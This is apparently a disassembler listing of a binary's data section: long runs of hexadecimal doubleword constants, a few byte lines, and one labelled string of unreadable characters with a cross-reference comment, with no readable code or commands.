		dd 52E9F0C6h, 5A04E0h, 0A8112FB5h, 2BE28DF9h, 1131C530h
		dd 22CEF441h, 7A00D020h, 0FD786F4Dh, 0B06D49BBh, 66B7008Ch
		dd 52D83FCFh, 0F616389Eh, 4840CB2Eh, 0EBB4BBA2h, 140921Ah
		dd 0D6218BA3h, 2F1925A9h, 981DEC02h, 0C044045h,	206A38D4h
		dd 0CC4126B0h, 9707C6BBh
		dd 0A317A040h, 2F840511h, 0B00A78DCh, 0E2D61E40h, 0E034546Ch
		dd 70837100h, 0C35AA41Ch, 0B7F65E00h, 771B562Ah, 9F5C09DFh
		dd 6C87E076h, 7A970D8h,	8700782Dh, 339D562Bh, 58BE97EFh
		dd 5003CC2h, 0AFC16940h, 454B2DBBh, 1AB124D0h, 608082E4h
		dd 417FD224h, 40ADF300h, 68F1B594h, 0F0BD0E69h,	7DA0099Fh
		dd 1FFAA25h, 0BAEF0B00h, 7505A1B6h, 20DF0743h, 7060A5E6h
		dd 0B7FE3C81h, 0A5A9900h, 0A36670DEh, 4FD03B09h, 81B90400h
		dd 0C1670B9Dh, 0CD569A01h, 0A15AFC3h, 9840DC0h,	0BDE90D7h
		dd 0C600C4D6h, 8A086EA2h, 0DBBC005Bh, 0A1CE075Dh, 1C033D2Bh
		dd 51E6FD7Bh, 0D7AAB34Eh, 0F9E918F0h, 0D9280063h, 47DB4C9h
		dd 8A00CF9Ch, 39A69973h, 4E8D2ECh, 900D52EBh, 0BC47AA87h
		dd 5DC14A84h, 6034181Ch, 0BFA8A07Eh, 0C3120B44h, 9E00A51Fh
		dd 0D4C9459Ah, 4235D800h, 0FF137D47h, 0A61A00C8h, 33FC64ADh
		dd 9D2C39C7h, 48085C0Fh, 8240904Ah, 0E00AAEB1h,	0A0CFFC7Ch
		dd 0A195D0h, 0D3BF0BEBh, 0AC9E223h, 66EB300h, 0D71F335Dh
		dd 0A2AE4FAh, 637E35C1h, 0C4B50096h, 0E85F23A0h, 0EC42F900h
		dd 0A3AFAAADh, 804E4F7Ah, 0C70D0260h, 0ACC63100h, 4C64CFBCh
		dd 46C100B5h, 891F9C3Bh, 6CB19078h, 77878204h, 0F4F57080h
		dd 0C04C0053h, 8B406362h, 0E00066CFh, 249F17E7h, 9F20D5Eh
		dd 2A0E6E30h, 0CC096C50h, 550A1F69h, 61AC4800h,	5148FC56h
		dd 403F25C4h, 0EEC49D8Ch, 39F0BEA4h, 6F372880h,	5C46DB1Eh
		dd 8020FD2Ch, 0D65F5642h, 7E2638B8h, 719900AEh,	0CE9D385h
		dd 0A60084B0h, 4682AC81h, 90A1969h, 4DC33886h, 72C2C840h
		dd 0A229A702h, 58C6B74Bh, 1BF4BB0h, 0F17FC8D0h,	2E046124h
		dd 3877C28h, 1CF2F68Dh,	15D98369h, 41E424B9h, 2524200h
		dd 0AA5067B5h, 267D7282h, 50101349h, 4F011B88h,	3DB1170Ah
		dd 6066C9BAh, 44C8E308h, 4300AC24h, 0D34A3C66h,	37791F02h
		dd 40AB8913h, 9112A074h, 0BED680C0h, 58CC00A5h,	840CF401h
		dd 0A724E957h, 0E0803099h, 0EC2B3A38h, 0D74A0F1Ah, 96B7D71h
		dd 63139C3Ch, 0AC88A26Eh, 0B3DC00E3h, 0DB21FE99h, 0F9CC8C47h
		dd 0F22CA8C1h, 9FC00225h, 8A04FB9Eh, 24CECCC2h,	53705112h
		dd 0A7A918C0h, 216A04EAh, 91A595E5h, 0F8E342ACh, 5301B63Fh
		dd 7ADFAA6Dh, 48B81912h, 0D2491D00h, 70ABF9A9h,	9CFA4Ch
		dd 5ACE4396h, 3B5BF607h, 9D8369E7h, 4BC48061h, 0CB6694A0h
		dd 8969A57Eh, 173450E9h, 35D23C6Bh, 70689424h, 0DFCC2288h
		dd 68FA8502h, 0C433C85Ah, 0B238C08Ch, 248EA8C9h, 2EC4F58h
		dd 3A6C52BAh, 25E86E4Eh, 0F8845B1Eh, 0AE2C5Ch, 203891BCh
		dd 7B32E7FDh, 90253A00h, 0DAC8398Fh, 0D97400C5h, 6D02F4F0h
		dd 0B817F5E7h, 1CD7D8h,	0E8E08100h, 386B68Ah, 96C13914h
		dd 64BB43A3h, 0D9D76FE8h, 26EE9200h, 0BB8263F5h, 91A72FAh
		dd 0FD38AF34h, 0C79E0E80h, 3D005586h, 15269403h, 540BC098h
		dd 9585F0F4h, 151744CEh, 984431E2h, 30F7A343h, 7427A914h
		dd 924AFD00h, 5308BF8Ah, 0AF008B7Ch, 0CE76A560h, 1E72D321h
		dd 2999042h, 102070EDh,	80A6AC83h, 0A4D03EF2h, 0E305C61Eh
		dd 83A02140h, 725CCh, 4BCBE5F2h, 0BA5D8BE8h, 0E089DD27h
		dd 7DE680h, 0FA28FB17h,	9D9CEEAFh, 1E808C0Bh, 0AA16007Bh
		dd 0F4CE579Eh, 0F9F616BFh, 56D8A066h, 982B320h,	0DB4FA64Ch
		dd 34B0E580h, 6A00FD55h, 0BAE1472Bh, 6BA7BCh, 0CA3F60F1h
		dd 853EC26Fh, 88A0537Eh, 503CEE6h, 3604B203h, 0E828E8ECh
		dd 625F2DA2h, 47896840h, 0F5A84100h, 8BCD03Eh, 0CCE60407h
		dd 0BB397718h, 2A424C00h, 1340AFA6h, 0F922DB7h,	9FE9F790h
		dd 4800A465h, 0BEF43D80h, 0EB6600DAh, 3E51C4Fh,	7700CE45h
		dd 0B934AA2h, 129E6058h, 0BC6EC5B3h, 320F1144h,	0E4C9179h
		dd 0B9C0B667h, 0ED61FCADh, 1691E70Bh, 54480027h, 5EFAC7Dh
		dd 85B6929Bh, 8F86C00Eh, 4958AE58h, 62F20150h, 8640A980h
		dd 13B04070h, 143F2A31h, 1100190Ah, 0F66BA2B9h,	20BFBA2Dh
		dd 0CDEC55C8h, 12067423h, 90A1DF1Ch, 1946CA10h,	3A0109EEh
		dd 0A7E24FDBh, 2820F475h, 0FD660BF7h, 0A9D8522Ah, 0AC546500h
		dd 5CC94659h, 0D00B004Dh, 2C18C80h, 67004F9Ah, 0B9F2EAC0h
		dd 98C8D2FDh, 0B54D3F0Dh, 89B0B49Dh, 0FC20AD37h, 81925C77h
		dd 0EEE89002h, 897A3580h, 0F0008080h, 3AB4883Fh, 6080616Dh
		dd 3B77C437h, 2B3893E9h, 62B200D3h, 4887DB2Fh, 7B5B0D5h
		dd 40CD197Fh, 7203E05Eh, 2002235h, 604E52F8h, 0AE6E9Fh
		dd 77E94A61h, 214533B0h, 8002E42Dh, 0A4C37F28h,	6D393C23h
		dd 0E7D5B480h, 36A23315h, 45D4C802h, 5D6C3D93h,	0C3449C02h
		dd 50631500h, 0AAA13A21h, 0C6B61283h, 0C8A40B1h, 270068F0h
		dd 9B57DF1Eh, 3BD013h, 4A86E664h, 95B9B634h, 62833907h
		dd 6730D6A9h, 0B0037D3Ah, 391F79CCh, 4002A55h, 0B8F0885Ch
		dd 9A2AE38Ah, 0D403A076h, 2EAEF537h, 2DA28080h,	10655C86h
		dd 66144C09h, 0B41F287Ch, 3C11E3C0h, 4B73BA84h,	78B8C0BEh
		dd 12022A38h, 0BBB56B9Bh, 8C8075EFh, 0F7D93992h, 8A706E02h
		dd 7584319Fh, 0BFDEB404h, 1BE56800h, 0F022FC35h, 0E07804h
		dd 0B4305A53h, 99416C83h, 9EB6FA00h, 36D1352h, 0AC8C48F1h
		dd 4B655B0Bh, 0CA5DC098h, 0D7CDD00Fh, 0A51CA03Ch, 0C8E62Dh
		dd 5503F68Bh, 12CACCBDh, 7C8D8207h, 59A072AEh, 28446A0Dh
		dd 0EC0C204h, 6190A3D5h, 52A4C23Dh, 0B47E0676h,	0F2034C00h
		dd 0EE5E6716h, 0D3DB0097h, 0A6247A90h, 0F4008B46h, 0F9D67977h
		dd 73E92243h, 7A271696h, 0B6A4073Dh, 0CC9594DFh, 0DA5830B0h
		dd 62E61224h, 14021800h, 6ABEF92h, 0E839F09Bh, 1A4441F2h
		dd 3A560CCDh, 5CB89911h, 7FB91911h, 3C473101h, 2F8EDDC5h
		dd 9DDA9880h, 0E07C2564h, 3B0008F0h, 7F4A83FAh,	781F3437h
		dd 2FEA0478h, 0AC9DCA48h, 8D461E4Ch, 0D8F15F93h, 0CBFBB984h
		dd 922CF241h, 2C53D8F0h, 17C17C5h, 0F01F8923h, 4BA060A2h
		dd 0A6BEBB00h, 95AE2249h, 0E0770B9Ah, 38203D7Ch, 0CC3429A0h
		dd 3CA8C000h, 6D66154Dh, 212B620Dh, 0FC6074CDh,	0B119D687h
		dd 9919F7C9h, 0BABC803Ah, 7403EF79h, 857C54BDh,	4BFD9825h
		dd 0B9D13EDh, 1CB9FAh, 0CCB4C59Ah, 1F134C49h, 407C0A3Fh
		dd 5B96EABBh, 8F0730C6h, 0A01B3409h, 0E1F30580h, 98DF2E7h
		dd 0C997F07Bh, 0A9678880h, 0BE20C645h, 4BAD5ACEh, 3479235Ch
		dd 0F01A1360h, 53EE0993h, 0BC805976h, 335BC8E2h, 0A37C1B00h
		dd 1757AD5Eh, 800816FAh, 40161DB9h, 0EAEEF651h,	1316D253h
		dd 3CF1F87Ah, 71D8A483h, 92FF5659h, 28C4A565h, 4B9C1A00h
		dd 6BEE6688h, 91A400D7h, 0CC015BB4h, 0D8E5DC59h, 3E12F009h
		dd 0CC803356h, 49BE486Eh, 3F00FC52h, 0D5FFDEC0h, 350BAE04h
		dd 5A972E23h, 0EAF4006Ch, 2A63E588h, 9300FDF7h,	0C3BCB541h
		dd 3DFEC0EBh, 8680F5D9h, 0AF355A7Eh, 0FBF08D19h, 6ED89450h
		dd 6DD81103h, 99D12B24h, 0EC40B15Eh, 0B81CB419h, 0E844A09Bh
		dd 0EDEA5C51h, 0AB20D304h, 0CC34906Ah, 0FE4B0248h, 0AF5C6000h
		dd 2874E84Ah, 0D40621h,	12B23085h, 236566Ah, 7DB8FA1Fh
		dd 800D944Fh, 47B1103Dh, 8C8500CBh, 2196B3A5h, 9300EA2Bh
		dd 0F6397C0Eh, 451E640h, 0A0BFD16h, 5C00BA6Ah, 487C6DFBh
		dd 80A75BC7h, 0E9D1F398h, 0EF096900h, 3E5258F8h, 96D500B2h
		dd 173907BFh, 0E900518Eh
		dd 986E5EA7h, 0B8B52FB1h, 0BA0A0518h, 0C1EDFEC2h, 0C07C80E0h
		dd 3BB8010Dh, 3E565A00h, 658DE5EEh, 0DF1D01F2h,	0EC3D94C0h
		dd 5B828AFh, 923E5345h,	0A80090B2h, 0A45B9C62h,	84A11264h
		dd 6624207Ah, 9D740E00h, 1F9CF1Dh, 86B514A5h, 57038C06h
		dd 0A7BBDB8h, 0D4A40FE0h, 2E42A59h, 0A9F82940h,	16C56E8h
		dd 81091C8Eh, 5C04CBC8h, 51631374h, 56F7C090h, 13C9066h
		dd 1B918FE4h, 407CA70Ch, 92ACB1D0h, 5D4C8EF0h, 6EE3903h
		dd 733BF92Fh, 9A990020h, 7C177196h, 0C5242C7Ah,	90269865h
		dd 7F75800h, 1A6472h, 0CFA2E944h, 88B4966h, 45CB5B02h
		dd 77E3DA06h, 0D3ACB098h, 0A21BD705h, 7C81965Eh, 66DCAB60h
		dd 65E001A0h, 23025759h, 0D6E88BECh, 34C020FDh,	175DCC6h
		dd 4FD2F858h, 0F87BA692h, 710057B9h, 0C0CEE5B8h, 1738ACh
		dd 47C9FC16h, 9EDD0D29h, 965A7100h, 3DC7509Fh, 7F44B08Dh
		dd 6A8F0E87h, 59C09270h, 0FE5F418Bh, 4420984Fh,	579A16h
		dd 34B0E4ABh, 50C02E05h, 0A4F12830h, 1A17EEh, 4F6A898Ah
		dd 7FB576E8h, 0E48B0413h, 815B4009h, 0E042C239h, 84A94030h
		dd 8E102743h, 443C0077h, 6303E941h, 2B871C0Ch, 6A760066h
		dd 8F9AFEAh, 0F274700h,	1D12AAB9h, 8319C0F3h, 90734DDAh
		dd 40E14Ch, 0A57F5020h,	0FAB88914h, 970330F1h, 8A558579h
		dd 1007209Ah, 14B03292h, 482F6B72h, 0F606B35Ch,	45A10684h
		dd 0E870C2D5h, 0C70FE61Fh, 674084ECh, 58ED6272h, 0CC00F58Dh
		dd 89F19506h, 1502F7B6h, 45AFF9F4h, 0EF386087h,	0D3521DC4h
		dd 0C7404C77h, 0FD043850h, 0D4A19A9Bh, 0A8327483h, 4758F22h
		dd 26FC3D4Ch, 364781F4h, 0C04460F9h, 84CD6E25h,	435E290h
		dd 0FC628419h, 0B73A82D4h, 0D3A88003h, 4CE2837Eh, 0E14AE449h
		dd 9AEFC8C8h, 0C0606829h, 40405997h, 0FB117C03h, 0EDCF2728h
		dd 0BEB3A480h, 1B005B56h, 4D89DAD8h, 1BAAB21h, 11542280h
		dd 30D6B9F2h, 0FA002AE4h, 0FE3D72A7h, 4F5C8A12h, 1EB400B4h
		dd 0B3288B71h, 0F7539700h, 84DB2FE5h, 3ED41E49h, 404C80C7h
		dd 0C4CDBC28h, 897F600h, 0B971CEE2h, 2040971Bh,	489F09E9h
		dd 13C635BCh, 33E0D3Ah,	0B644AC20h, 0C1EECFC8h,	0DBB8FD00h
		dd 0F559B2A0h, 6B90085h, 0E75EFA2Ch, 460102DEh,	0C7BF840Dh
		dd 0A85010E6h, 82B6AAh,	0D06F7FFCh, 0E21B41CFh,	0D11F950Fh
		dd 79005330h, 0BE783245h, 34FE17h, 4497C53Dh, 69D8D52Dh
		dd 0F3881807h, 7C9947A7h, 0E8A40394h, 7CEABEEBh, 0D28944D6h
		dd 804C42B4h, 0F8EBC969h, 0A7A12C43h, 0BF62006h, 3EF2D3EEh
		dd 0A0946085h, 2B008698h, 97CD2EE3h, 277B95Ah, 0B71A7C11h
		dd 0CDC0531Dh, 67004B24h, 0A1F2F185h, 2FC097h, 2C7983CDh
		dd 10559BA5h, 0BF35F700h, 0D81E78ADh, 2B120061h, 0EEEDA3BCh
		dd 0FE74A629h, 6088B300h, 5B2046E8h, 35F45C03h,	82F35500h
		dd 0AB154905h, 0D9761200h, 984CF59Bh, 0D8E700D2h, 0A647B0CBh
		dd 2F00DC94h, 32D316E4h, 7B9895F0h, 64F92556h, 833EA8D0h
		dd 0BD76007Eh, 7270693h, 265F2A9h, 127A999Ah, 805F1F11h
		dd 3E942FB8h, 0C75D00D4h, 0E28DEA92h, 0B2007A9Bh, 218A766Fh
		dd 30474201h, 0ECF66956h, 3008814h, 672655B3h, 0FF9DFF3Ch
		dd 0EFA8C64h, 0D13516Ah, 0C876EE00h, 0D7048CA4h, 2D36464Eh
		dd 93170CA9h, 73F80096h, 0D3401737h, 0A5BEDC00h, 65172B8h
		dd 0DC15487Dh, 4E44CD01h, 3AF4790Dh, 5396C4D1h,	0CC00D108h
		dd 93DE619Eh, 1471B19Dh, 102146D0h, 1CA87914h, 0E8D64012h
		dd 0AFA9DB8h, 10F07901h, 1C19460Ah, 0A57B7300h,	0E8B371B6h
		dd 0A89055h, 0FA25D8EBh, 9E8A99BCh, 0F3070600h,	0B9EDEAF6h
		dd 6BC70EA9h
		db 0B5h, 8Fh
aAnCILA		db '€­(–ìˆÁ¸%Ý«±aÍ',0   ; DATA XREF: ___:off_4374B8o
		db 30h,	71h, 93h
		dd 0E86D78A5h, 28B23FC5h, 40E23E92h, 5DB06394h,	710C2CC6h
		dd 28659F9Dh, 35CDF990h, 1429AD46h, 6CB2B36Dh, 44E54C21h
		dd 0BD308800h, 1FAE1ECEh, 0FDE778h, 0FF24C55Dh,	0E5009C80h
		dd 0FB2FC4B1h, 0FAA5AFD6h, 0E77F3CB6h, 99F25C74h, 0C43824h
		dd 0E4E347D2h, 0B47D26EFh, 0E095CD0Fh, 4598E7F0h, 246E9CEh
		dd 437F9B3Ah, 0E9A900E7h, 0C22DD31Fh, 4C02B6BBh, 9E899099h
		dd 6396E029h, 8360252h,	0BF43F99Bh, 0FA048B41h,	0C710A4D7h
		dd 412D4C42h, 20E7002Fh, 9066C5E9h, 4070487Ch, 13388880h
		dd 46005D1Bh, 0FC74E239h, 7F579DBh, 3C0F4FB3h, 0D4864031h
		dd 65906B9Bh, 0F6554100h, 0CA89F036h, 0BF7C6Fh,	3E0CDD90h
		dd 63A3E30Eh, 6998E67Eh, 88C72C07h, 713C91B5h, 230C0074h
		dd 0E4E27BAh, 6800E1E5h, 19BED459h, 2DB3916Dh, 28F9A4F2h
		dd 24626400h, 77BEDF3h,	0F788ABA6h, 0B70F19BEh,	46A08F8Fh
		dd 0F8052E13h, 3225EA71h, 2A50D84Eh, 0A8E6E1h, 6EA61809h
		dd 1F83F17Bh, 1831743Eh, 4621F8EEh, 0C97D015Eh,	0B2810D5Ch
		dd 0BF426006h, 9B1B640Bh, 82A70032h, 77506326h,	0FD8C0C2Eh
		dd 2A1927FBh, 9D8E5639h, 3A3C1551h, 0E1C5005Bh,	0DF4B76E9h
		dd 252D00D8h, 0F6ED5829h, 230F42CAh, 65B6A14h, 89FA5h
		dd 0BA180A8Dh, 9ACE027Dh, 0D921F400h, 0D8743AFEh, 0AEEE00FAh
		dd 0B90D11E5h, 0F3163C37h, 0B800D950h, 0BF06F60h, 30457EC1h
		dd 511811AEh, 9706CFA3h, 7536B03h, 9140099h, 0ED6937E4h
		dd 8438B455h, 487A9C13h, 92FA6E80h, 0DB83A4h, 0F03BCE77h
		dd 23041ED5h, 8EEE103Ah, 0EF6EB51h, 8180FC8Dh, 22BCB07Ch
		dd 354B084h, 47850736h,	0E5A1DB30h, 26118842h, 0AE34C0A2h
		dd 5844F2D7h, 0A9DB1B41h, 61C841B9h, 4AC65E6h, 0EF221C1Bh
		dd 0D5E79810h, 2168601Dh, 4724BF41h, 81DBEA06h,	6009E3F9h
		dd 0B7212180h, 5D7DE524h, 0BB373001h, 689BC5BAh, 0CB844DF0h
		dd 9F00E561h, 3B3D7CDBh, 256604F4h, 218A08h, 0C0343842h
		dd 0F93326D8h, 4CA15603h, 9128C4h, 87366199h, 90ED8BD7h
		dd 88D9E800h, 5802470Fh, 2815E4E1h, 7C686FEAh, 749C04A5h
		dd 80138906h, 0ECC608BAh, 0D6E03864h, 4E24BE60h, 11A3EA23h
		dd 0B622004Fh, 4EEEAC24h, 0A061C095h, 0A89B9B8h, 23285B00h
		dd 35162F08h, 0A27095F2h, 791C6418h, 8CAF41h, 6BDC0A29h
		dd 0EBE26F55h, 0AC89131Ch, 6C80AB80h, 31F05D8Bh, 41E9E0E3h
		dd 0A669806Ah, 2B033DCFh, 0D0021EC7h, 4EA1458Bh, 0B6B00894h
		dd 0DC343AC0h, 2225467Ch, 3945008Bh, 5385B034h,	0CE1C4072h
		dd 0C4C04A17h, 1CC5EFB1h, 33B1C06Ah, 0B7A0047Ah, 0A4DE4E07h
		dd 3DD0F925h, 0C6C1B4h,	0F1BDFE7Ch, 68416288h, 8CE8A9C0h
		dd 112C56h, 0D3E52FF3h,	0C59637D0h, 9B6C520Ch, 3EDD2964h
		dd 2EF08704h, 0EDDEF23h, 0FEA0B0C4h, 68A6A003h,	0E71A7818h
		dd 1900188h, 1D1F163Dh,	0CAF0EEC5h, 7E490A8h, 0E32EDA27h
		dd 0EAC354D6h, 92CB1BD8h, 6010F724h, 1E4E465Eh,	93589D62h
		dd 648AA9h, 0F9C1EAC8h,	1D913BCBh, 57F3E200h, 0A56D46B0h
		dd 4EEC0C68h, 0CB308382h, 4F0E850Dh, 40DC4163h,	0EEB504A8h
		dd 821B449Ah, 766345CFh, 48A22109h, 0ACB380A8h,	13F538h
		dd 0FB676663h, 0DC9D6DF1h, 71FD29C0h, 0A0F098D6h, 1565FCB8h
		dd 84F49153h, 0C2DB0600h, 0D9D06E5Fh, 0A0997E19h, 2180FF08h
		dd 8DC2D3B4h, 130172A3h, 0E4F1BF59h, 9D10C48Bh,	70242CD3h
		dd 750088B9h, 7390770Fh, 1CDA0016h, 8C8929FCh, 6668808Ah
		dd 6463F830h, 833FB075h, 110658A5h, 7FA89A01h, 0CC622BE3h
		dd 695008E2h, 0F6ECEEB0h, 5E204CE9h, 0D2000476h, 131DC548h
		dd 10845A8h, 221C463h, 256FB962h, 847442E8h, 11344030h
		dd 8A357CDAh, 4380F886h, 0FE6B3437h, 0E4037AF0h, 1F4A870h
		dd 51532467h, 1CC6C148h, 0C21A429h, 0AC80D411h,	0B3EA4C24h
		dd 2877448Ch, 4A248400h, 0E52742FFh, 39A80199h,	0EFE0200Eh
		dd 0EE499C89h, 3C58ECE4h, 0CE630E06h, 8B408705h, 77A16519h
		dd 0DCFB24h, 11FF0709h,	4C18322Ch, 0EEB1A808h, 4098C4BAh
		dd 35A854A6h, 84581C0Bh, 0E053C1AEh, 417668A9h,	48666C5Ch
		dd 0F8304EC4h, 0AFD1862h, 8EBE093Dh, 0A8048258h, 7A233FF3h
		dd 0ABC4E81Ch, 0AC824306h, 3468A416h, 0B3A7BE60h, 11AAEE23h
		dd 46A00091h, 0EED222A8h, 0DC1854E4h, 21E960E3h, 606C2165h
		dd 680DFC99h, 9AE0D17Dh, 0D7FB2874h, 83E921A8h,	0BF803311h
		dd 0B2EEB0A7h, 0AF0040A5h, 66CBA847h, 1DE922EEh, 7C68C60Ch
		dd 79346969h, 0D67039BEh, 2C77D449h, 400016FEh,	960B2BDFh
		dd 4DFCC900h, 0EAB32378h, 0F6ECCAh, 59F1ED01h, 92E9A4DDh
		dd 18F8377Eh, 385285FEh, 0A84A0754h, 4544EEAFh,	0A40028CBh
		dd 0B63AA852h, 5A018CA7h, 0C6D79D22h, 8850F04Dh, 74AAE59h
		dd 935C13C7h, 72353194h, 977ED4AAh, 0CE00BE79h,	34AD784h
		dd 0BA6469Ch, 9D2C6302h, 8191E417h, 83AE0385h, 5CA01A97h
		dd 0C8B064ADh, 1E839F03h, 0F988B4DAh, 0E2C4F97Eh, 3804B069h
		dd 0FB80C104h, 241D022Dh, 5C58FFF0h, 80928888h,	0C2518711h
		dd 0DA03C954h, 0F5400E73h, 0F3E380C5h, 784E76D1h, 5339C08Ah
		dd 0E2963C0Fh, 0FDE58339h, 79E37D58h, 76B1EB01h, 0AE721C98h
		dd 0B03279C1h, 0DD015523h, 0A06E41C2h, 0A688EC18h, 48C202D5h
		dd 677FD00Ah, 0FC668362h, 0F10093FCh, 0D0E8DC6Fh, 0D2353Ch
		dd 0CCA1F4C7h, 9AF06979h, 0F8AB1B28h, 786F9718h, 0C7E18A39h
		dd 7FF88261h, 5EAA1C20h, 0A1018D97h, 45B6C42Fh,	4EF5394Fh
		dd 0A2F048h, 5AB1703Ah,	94CD05DCh, 49BE3000h, 68E8C3E9h
		dd 0F78B30F4h, 0CD394659h, 8E705A00h, 7866309Ch, 0D57898h
		dd 0ACD65DCCh, 3A757CDDh, 0ECFE762Ah, 9400E970h, 35B4CBE0h
		dd 16C3150h, 9CD9A819h,	585465FDh, 0C208C69Ch, 0C4A86E3Ah
		dd 0D6805EE8h, 31B60EC2h, 0EAE429F0h, 9411F4h, 3D811DF2h
		dd 7BFE7Dh, 55DAAB1Ah, 7396E337h, 80DB972Eh, 68892174h
		dd 36A5CC8Fh, 3A834820h, 0FA127C40h, 37D90044h,	878BC545h
		dd 0CB00C977h, 235EB2Dh, 0E0BDC7h, 7A645D36h, 0C4E4F9BFh
		dd 681E457Ch, 0CF02BC66h, 4153177Ch, 4B1837DCh,	0EEACA808h
		dd 409FC452h, 0FEA853A3h, 0B40D3B55h, 73769709h, 54000412h
		dd 0DA7EB396h, 15BBF803h, 0A8880C9Eh, 3C3E4Fh, 26DFD045h
		dd 0CE4D7931h, 4EF588C2h, 5A8CA0FCh, 1290B03h, 0B907EB30h
		dd 0E067CC23h, 4F580183h, 0BC8C8148h, 8AC06C73h, 0C99092h
		dd 0DBAD3309h, 7D9D9404h, 9341103Dh, 7C49624Eh,	0C4603121h
		dd 21E3AC42h, 0F026EA45h, 78B70862h, 389D0134h,	0C7ECF946h
		dd 69D87002h, 48D34B20h, 0F580D88Bh, 2D0128ADh,	31F8E00h
		dd 0AC48D106h, 58080049h, 70A6EACBh, 0D4427FFEh, 0EAE23C52h
		dd 4C71330h, 1BF1EFFEh,	0BDF80064h, 98F9D8B2h, 0F018A80Eh
		dd 248D00F1h, 0AA7A8974h, 3B00C23Ch, 68CDA999h,	539DFACFh
		dd 90A2F837h, 0C44630h,	0D036E197h, 0F1DBDCF7h,	2C1E1C2Ch
		dd 816D7D08h, 99C99001h, 9060CECEh, 2D05EFB8h, 0E9AE9A6h
		dd 1066148Dh, 4B67F6B0h, 69C37600h, 0F8466836h,	0F90804A5h
		dd 0A26C6BBDh, 8D8C0184h, 8940FD6Ah, 26D4F4h, 2B380C21h
		dd 655DBE46h, 0B7047873h, 9C024BDDh, 0A50DC4B2h, 0D1E829CFh
		dd 0A966CC24h, 60D0F951h, 48CD2B4h, 0EA4224B2h,	207562C3h
		dd 3B24AA3Eh, 1D239B09h
		dd 0FE54681Eh, 9D7E0036h, 0D245FFCBh, 4E31C799h, 79E9598Fh
		dd 14491E4h, 15185BFBh,	0EC0CC92Bh, 0A5075024h,	0CE38A705h
		dd 0D0C6A050h, 8C3A032Ch, 0A83F4553h, 31D602C9h, 873445CAh
		dd 0E75B522Ch, 4C88A05h, 0D6450036h, 0C5FD0DDFh, 340C6655h
		dd 396CFE38h, 506E4C13h, 0E8BCDC5Ch, 1318068Ch,	0F1ECEE91h
		dd 0E8B14DF8h, 50901C93h, 16646D7Ch, 191A504h, 2AC3FC14h
		dd 852983DFh, 0B0F02670h, 1269D7E7h, 0C180D67Ah, 106D91E0h
		dd 46AA0Fh, 0F02BF2AEh,	0F67AB5AFh, 1F8BF496h, 0EA7F80DDh
		dd 10D3ECh, 8F826005h, 0FE7C659Ch, 4F29B967h, 0A0697AC3h
		dd 91CFA621h, 1E578A54h, 6CAA0058h, 1DADF8Eh, 3D9FE302h
		dd 106F68A6h, 242C9C99h, 0D340A417h, 38B456Dh, 800D234Bh
		dd 87C05E3Ah, 0E3F69794h, 63DB3D48h, 0E9B74CC9h, 0F730C0DDh
		dd 5C9500A8h, 0F6A4EAE0h, 812658E3h, 4E16604Ah,	5DD6C20h
		dd 0ABA400A5h, 20073D94h, 0D09ABA11h, 0FB4EA918h, 0F6629829h
		dd 0EBBB00EDh, 0A2E1D8D1h, 4B00A77Eh, 0B442663Bh, 8F763Dh
		dd 75996C7Ah, 0C5B38D95h, 4DF0BAF0h, 9078E207h,	39D205CBh
		dd 378041EEh, 31BDD4h, 64705F9Dh, 90CE7799h, 210197E8h
		dd 1C5158E2h, 30E0E3h, 771409B0h, 8138B06h, 9CC2E2E8h
		dd 7BE75000h, 62B40FBAh, 0B58418B8h, 0A62A0856h, 1CA5260Eh
		dd 0E388C0E9h, 3E91EFE8h, 961DE255h, 8C1FFE18h,	19AE17E6h
		dd 0F18734D8h, 74CCE0EBh, 1000EBE9h, 55CF25F4h,	2C82CAFh
		dd 0B3BAADEDh, 0A360F345h, 0E200E1E9h, 28E81AA5h, 788414B9h
		dd 0D1EA0029h, 0F4E6953Eh, 0E574452Ah, 0F3EE30C1h, 0E9F196E8h
		dd 149A5D0h, 0E293EFE7h, 0F89225BEh, 8551B545h,	0BB041E64h
		dd 0C5769CE0h, 414010DFh, 0DF55251Ch, 34A71C31h, 6E27CCE1h
		dd 77005621h, 0CE31443h, 6089F6h, 0CEE83C03h, 15196318h
		dd 5869E600h, 92BC84Bh,	0C060DE5Fh, 8A4772CCh, 6700DF54h
		dd 0D52E18B9h, 78B54083h, 8ED72CB2h, 424704E0h,	227E5FAAh
		dd 5D7C64h, 0C29C7628h,	55F1BAAh, 57390D10h, 74FE5500h
		dd 0E089BB6Fh, 8B34A903h, 7E51A8D9h, 73960081h,	7054A39Bh
		dd 0AA1EF1FDh, 48570BCEh, 378C1C41h, 0A8E78F11h, 63466Dh
		dd 39EEC244h, 5EE2E4B8h, 3380852h, 0BB9C75F7h, 38684081h
		dd 0F0A8AB8Ch, 12738Fh,	7183E4EDh, 0B15F4802h, 664D9C0h
		dd 1551801Ch, 84AA18BBh, 0A73EEE00h, 27A6C44Ch,	0B397F711h
		dd 4D767900h, 64A220A1h, 0A9BD2400h, 708121Ch, 0AA300018h
		dd 65ED879Ah, 0BE3010BBh, 433F50D1h, 3A77C45h, 0C0AAF9FCh
		dd 8DB3B8B5h, 8EECF004h, 0A49C98h, 0F61100B6h, 0C929CE1Fh
		dd 0FA63E639h, 0B4B108h, 0F60A8130h, 3CACCDC1h,	0DEC0BB0Ch
		dd 28068A0h, 0CBE6372Bh, 80A8B4AAh, 709821D0h, 78865F51h
		dd 5C680053h, 0FC714ECh, 3018BCC0h, 1568AE7Ah, 5E37142Ch
		dd 6E0890C6h, 9D0A84D2h, 858094D9h, 26C92B3Dh, 607009Eh
		dd 3054630Fh, 3C03B9F2h, 0D2193AB7h, 0B8390DBEh, 0E8B1B37Ch
		dd 2901C5C0h, 0C4BC40B7h, 7BF05117h, 0DE65014Bh, 42C206AAh
		dd 1B208E04h, 0B85840A5h, 90BBEF5Bh, 18BA0948h,	6820D9C6h
		dd 8EED3DB9h, 0D237020Ch, 12E4B0DAh, 52D773h, 49E987ACh
		dd 98A8051Dh, 4AE8B69Eh, 0B5219067h, 4C914F04h,	0B19FBC6Dh
		dd 6A084091h, 0C1073A55h, 3B4F9619h, 0E4596768h, 0CE12D400h
		dd 44E4AC11h, 207A4BBh,	29BD0DF6h, 6459FC60h, 5079098Eh
		dd 740AC4DCh, 52465CACh, 98589F00h, 9ED1D55h, 3038B039h
		dd 0FF5D80CAh, 263330C8h, 8E120251h, 3694A650h,	0B4DF5814h
		dd 0CE140FA0h, 10E61D3Ah, 0F1B59E01h, 0D450B696h, 122410A4h
		dd 6E02C12h, 8F80764h, 6B21A360h, 3F092477h, 0DD01F53Bh
		dd 6588F147h, 12882048h, 6C77D540h, 956031C0h, 4C019C43h
